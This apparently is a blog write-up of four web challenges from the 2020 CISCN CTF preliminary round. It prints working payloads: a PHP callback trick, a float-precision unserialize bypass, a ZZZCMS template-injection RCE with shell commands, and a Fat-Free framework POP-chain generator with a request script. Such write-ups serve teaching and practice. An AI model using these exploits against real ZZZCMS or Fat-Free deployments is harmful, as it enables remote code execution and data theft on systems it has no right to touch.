2020CISCN-初赛Web


不出意外,这应该是最后一次打国赛了,总共22道题,解出15道题,Web一共5道题,最后做出4道题,实验室的两支队伍,最终西南赛区第6和第10,全国第35和53,成功晋级分区赛。

easyphp

考点:PHP多线程

题目源码:

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');//创建失败就退出
    }else if ($pid){ //从这里开始写的代码是父进程的
        $r=pcntl_wait($status);//等待或返回fork的子进程状态
        if(!pcntl_wifexited($status)){//检查子进程状态代码是否代表正常退出。
            phpinfo();
        }
    }else{//子进程
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);//调用回调函数,并把一个数组参数作为回调函数的参数
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

让子进程异常退出,进入到phpinfo中

Payload:

?a=call_user_func&b=pcntl_waitpid 

执行后 call_user_func_array() 就变成 pcntl_waitpid(false,true),子进程变为僵尸进程,然后符合else if 执行phpinfo,从而得到flag

easytrick

考点:PHP弱类型、反序列化、PHP精度问题

题目源码:

<?php 
class trick{ 
    public $trick1; 
    public $trick2; 
    public function __destruct(){ 
        $this->trick1 = (string)$this->trick1; 
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
            die("你太长了"); 
        } 
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
unserialize($_GET['trick']); 

题目要求 trick1 和 trick2 的值和类型都不能相等,trick1 和 trick2 长度小于5,并且要让 trick1 和 trick2 的 md5 值相等

EXP:

<?php 
class trick{
    public $trick1 = 0.01;
    public $trick2 = 0.1*0.1;
}
$exp = new trick();
echo serialize($exp); 
?>

Payload:

O:5:"trick":2:{s:6:"trick1";d:0.01;s:6:"trick2";d:0.010000000000000002;} 

满足所有条件,成功 bypass ,获得 flag

rceme

考点:模板注入、RCE

题目源码:

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
parserIfLabel($_GET['a']); 
function danger_key($s) { 
    $s=htmlspecialchars($s); 
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s); 
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){ 
        if(strpos($s,$val) !==false){ 
            die('很抱歉,执行出错,发现危险字符【'.$val.'】'); 
        } 
    } 
    if(preg_match("/^[a-z]$/i")){ 
        die('很抱歉,执行出错,发现危险字符'); 
    } 
    return $s; 
} 
function parserIfLabel( $content ) { 
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; 
    if ( preg_match_all( $pattern, $content, $matches ) ) { 
        $count = count( $matches[ 0 ] ); 
        for ( $i = 0; $i < $count; $i++ ) { 
            $flag = ''; 
            $out_html = ''; 
            $ifstr = $matches[ 1 ][ $i ]; 
            $ifstr=danger_key($ifstr,1); 
            if(strpos($ifstr,'=') !== false){ 
                $arr= splits($ifstr,'='); 
                if($arr[0]=='' || $arr[1]==''){ 
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】'); 
                } 
                $ifstr = str_replace( '=', '==', $ifstr ); 
            } 
            $ifstr = str_replace( '<>', '!=', $ifstr ); 
            $ifstr = str_replace( 'or', '||', $ifstr ); 
            $ifstr = str_replace( 'and', '&&', $ifstr ); 
            $ifstr = str_replace( 'mod', '%', $ifstr ); 
            $ifstr = str_replace( 'not', '!', $ifstr ); 
            if ( preg_match( '/\{|}/', $ifstr)) { 
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr); 
            }else{ 
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); 
            } 
 
            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { 
                switch ( $flag ) { 
                    case 'if': 
                        if ( isset( $matches2[ 1 ] ) ) { 
                            $out_html .= $matches2[ 1 ]; 
                        } 
                        break; 
                    case 'else': 
                        if ( isset( $matches2[ 2 ] ) ) { 
                            $out_html .= $matches2[ 2 ]; 
                        } 
                        break; 
                } 
            } elseif ( $flag == 'if' ) { 
                $out_html .= $matches[ 2 ][ $i ]; 
            } 
            $pattern2 = '/\{if([0-9]):/'; 
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) { 
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); 
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); 
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); 
                $out_html = $this->parserIfLabel( $out_html ); 
            } 
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); 
        } 
    } 
    return $content; 
} 
function splits( $s, $str=',' ) { 
    if ( empty( $s ) ) return array( '' ); 
    if ( strpos( $s, $str ) !== false ) { 
        return explode( $str, $s ); 
    } else { 
        return array( $s ); 
    } 
}

搜索发现是ZZZCMS源码的一部分

参考:zzzcms(php) v1.7.5 前台RCE-复现

Payload:

?a={if:print_r(`ls /`)}{end if}
?a={if:print_r(`cat /flag`)}{end if}

babyunserialize

考点:pop chain构造、反序列化gadget串联

使用御剑进行目录扫描发现www.zip,存在源码泄露,打开后发现是fatfree框架,进行代码审计

PHP路由:

$f3->route('GET /',
    function($f3) {
        echo "may be you need /?flag=";
    }
);
unserialize($_GET['flag']);

发现题目给了一个反序列化位置,且参数可控。

做了很久都没思路,搜到2020WMCTF-webweb类似的题,但是还是没做出来,队友最后给的构造方法。

<?php
namespace DB\SQL {
    class Mapper {
        protected $props;
        function __construct($props)
        {
            $this->props = $props;
        }
    }
}

namespace CLI {
    class Agent{
        protected $server;
        protected $socket;
        function __construct($server,$socket)
        {
            $this->server = $server;
            $this->socket= $socket;
        }

    }

    class WS{
        protected $events = [];
        function __construct($events)
        {
            $this->events = $events;
        }
    }
}

namespace {
    class Image{
        public $events = [];
        function __construct($events)
        {
            $this->events = $events;
        }
    }

    $a = new DB\SQL\Mapper(array("write"=>"create_function"));
    $b= new CLI\Agent($a,'){}readfile("/tmp/ffff1l1l1a449g");//');
    $c = new Image(array("disconnect"=>array($b,'send')));
    $d = new CLI\Agent($c,'');
    $e = new CLI\WS($d);
    echo urlencode(serialize($e))."\n";
}
?>

EXP:

import requests

url = 'http://eci-2ze4mvter6u3r6rigbk1.cloudeci1.ichunqiu.com/?flag='
payload = 'O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A5%3A%22write%22%3Bs%3A15%3A%22create_function%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A37%3A%22%29%7B%7Dreadfile%28%22%2Ftmp%2Fffff1l1l1a449g%22%29%3B%2F%2F%22%3B%7Di%3A1%3Bs%3A4%3A%22send%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D'
url_all = url+payload
r = requests.get(url_all)
print (r.content)

littlegame

这道题没有做出来。。。

赞助💰

如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭

支付宝支付 微信支付

文章作者: 简简
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 简简 !
评论
填上邮箱会收到评论回复提醒哦!!!
  目录